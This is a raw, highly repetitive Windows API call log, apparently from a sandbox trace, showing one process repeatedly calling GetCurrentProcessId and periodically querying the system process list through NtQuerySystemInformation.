[0161.696] GetCurrentProcessId () returned 0x10c0 [0161.696] GetCurrentProcessId () returned 0x10c0 [0162.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d560) returned 0x0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.286] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.287] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.288] GetCurrentProcessId () returned 0x10c0 [0162.289] GetCurrentProcessId () returned 0x10c0 [0162.289] GetCurrentProcessId () returned 0x10c0 [0162.289] GetCurrentProcessId () returned 0x10c0 [0162.289] GetCurrentProcessId () returned 0x10c0 [0162.289] GetCurrentProcessId () returned 0x10c0 [0162.289] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.290] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.291] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.292] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.293] GetCurrentProcessId () returned 0x10c0 [0162.294] GetCurrentProcessId () returned 0x10c0 [0162.867] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d600) returned 0x0 [0162.946] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.947] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.948] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.949] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.950] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.951] GetCurrentProcessId () returned 0x10c0 [0162.952] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.953] GetCurrentProcessId () returned 0x10c0 [0162.954] GetCurrentProcessId () returned 0x10c0 [0162.954] GetCurrentProcessId () returned 0x10c0 [0162.954] GetCurrentProcessId () returned 0x10c0 [0163.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d578) returned 0x0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.670] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.671] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.672] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.673] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.674] GetCurrentProcessId () returned 0x10c0 [0163.675] GetCurrentProcessId () returned 0x10c0 [0164.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d3e8) returned 0x0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.220] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.221] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.222] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.223] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.224] GetCurrentProcessId () returned 0x10c0 [0164.225] GetCurrentProcessId () returned 0x10c0 [0164.225] GetCurrentProcessId () returned 0x10c0 [0164.225] GetCurrentProcessId () returned 0x10c0 [0164.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d720) returned 0x0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.809] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.810] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.811] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.812] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 